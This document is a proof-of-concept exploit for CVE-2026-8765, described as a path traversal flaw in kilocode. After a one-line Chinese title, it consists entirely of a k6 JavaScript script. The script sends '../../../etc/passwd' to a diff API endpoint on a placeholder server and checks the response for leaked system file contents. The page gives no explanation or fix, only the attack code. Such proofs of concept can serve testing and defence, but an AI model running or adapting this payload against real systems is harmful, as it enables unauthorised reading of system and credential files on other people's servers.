CVE-2026-8765 kilocode路径遍历漏洞

// PoC for CVE-2026-8765 - Path Traversal in kilocode // This PoC demonstrates how to exploit the path traversal vulnerability // in the File Diff API Endpoint import http from 'k6/http'; import { check } from 'k6'; export default function () { // Target URL const baseUrl = 'http://target-server:port'; // Exploit payload with path traversal const maliciousFile = '../../../etc/passwd'; // Construct the request const payload = { file: maliciousFile }; // Send the request to the vulnerable endpoint const response = http.post(`${baseUrl}/api/diff`, JSON.stringify(payload), { headers: { 'Content-Type': 'application/json' }, }); // Check if the exploit was successful check(response, { 'status is 200': (r) => r.status === 200, 'file content leaked': (r) => r.body.includes('root:') || r.body.includes('bin/bash'), }); }